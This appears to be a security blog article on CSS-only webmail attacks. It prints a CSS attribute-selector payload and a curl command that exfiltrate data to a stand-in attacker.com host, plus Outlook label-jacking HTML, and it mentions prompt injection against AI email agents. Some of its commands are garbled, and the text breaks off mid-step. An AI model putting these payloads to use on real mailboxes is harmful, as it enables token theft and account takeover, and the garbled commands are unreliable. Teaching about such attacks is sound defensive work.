CSS: The Bomb Inside Your Inbox – Breaking Webmail Defenses Without A Single Line Of JavaScript + Video

Introduction

For decades, webmail clients have faced a fundamental challenge: rendering untrusted HTML and CSS from unknown senders while maintaining a secure boundary between message content and the trusted user interface. PortSwigger researcher Gareth Heyes, presenting at Black Hat USA 2026, has demonstrated that this boundary is far more permeable than previously understood. By exploiting discrepancies between what sanitizers approve and what browsers actually render, attackers can now capture passwords, exfiltrate authentication tokens, hijack UI actions, and even manipulate AI agents—using nothing but CSS and HTML, with no JavaScript, no attachments, and often no user interaction beyond opening an email.

Learning Objectives

Understand the core vulnerability: how sanitizer-browser discrepancies enable CSS to escape email boundaries
Master the technical mechanics of CSS-based token exfiltration, keylogging, and UI spoofing across major webmail platforms
Learn to identify, exploit, and mitigate CSS injection vectors in Outlook, Gmail, Yahoo Mail, AOL Mail, Fastmail, and Proton Mail
Grasp the emerging threat of indirect prompt injection against AI-powered email agents

You Should Know

The Sanitizer-Browser Discrepancy: How CSS Breaks Trust Boundaries

Webmail clients rely on sanitizers to strip malicious content from incoming emails before rendering. The fundamental flaw lies in the gap between what the sanitizer deems safe and what the browser ultimately executes. Some webmail clients even allow the browser to parse HTML and CSS first, then filter the interpreted output—yet this too can be mutated into something malicious.

The Attack Surface: Over several months, Heyes examined Yahoo Mail, AOL Mail, Fastmail, Proton Mail, Gmail, and Outlook, uncovering parser discrepancies and sanitizer weak points across all platforms.

Key Technique – Parser Mutation: Attackers craft CSS that passes sanitization but, when parsed by the browser, transforms into malicious instructions. This is achieved through:
– Exploiting differences in how sanitizers and browsers handle malformed or nested CSS
– Using CSS `@import` directives that sanitizers fail to fully validate
– Leveraging CSS `var()` functions to bypass remote image blocking

Technical Deep Dive – CSS Attribute Selector Exfiltration: A particularly potent technique involves CSS attribute selectors to exfiltrate CSRF tokens:

/ Hypothetical exfiltration via attribute selector /
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/b); }
/ Repeat for all possible characters /

When the victim’s browser renders the email, it makes external requests for each matching character, allowing the attacker to reconstruct the token character by character. This technique has been weaponized in real-world attacks, including the Russian APT campaign exploiting CVE-2025-66376 in Zimbra, where a crafted HTML email abused CSS `@import` handling to execute JavaScript and exfiltrate CSRF tokens, 2FA backup codes, and 90 days of mailbox content.

Linux Command – Testing CSS Injection Vectors:

 Use curl to test how a webmail endpoint sanitizes CSS payloads
curl -X POST https://webmail.target.com/compose \
-H "Content-Type: multipart/form-data" \
-F "body=<style>@import url('https://attacker.com/exfil');</style>"

Monitor DNS exfiltration attempts in real-time
sudo tcpdump -i any -1 port 53 | grep -i "attacker"

Windows Command – Checking for Outbound CSS Exfiltration:

 Monitor outbound connections to suspicious domains
netstat -an | findstr "ESTABLISHED" | findstr ":443"

Use PowerShell to check for unusual background requests
Get-1etTCPConnection | Where-Object {$_.State -eq "Established"} | 
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort

2. Outlook Label-Jacking and Password Spoofing

Outlook proved particularly vulnerable through a chain of three distinct techniques that, when combined, create a complete account takeover vector.

Step 1 – Label-Jacking: HTML `` elements are often missed by sanitizers. Using the `for` attribute, an attacker can target any form element with an id, inheriting its click action. Heyes found a real bug in Outlook enabling control of Outlook’s UI from an email message:

<label for="RibbonModeToggle">Click me first</label>
<label for="548">Click here to pin this message</label>

This allows the attacker to open Outlook’s UI ribbon and pin the malicious message to the victim’s interface.

Step 2 – DOM Mutation via Custom Attributes: Application JavaScript can turn sanitized custom attributes into new DOM nodes carrying CSS outside the sanitizer’s allow list. A media-query parsing trick then provides arbitrary CSS execution.

Step 3 – Password Field Spoofing: The chain disguises a ` Functional Always active

Listen to this Post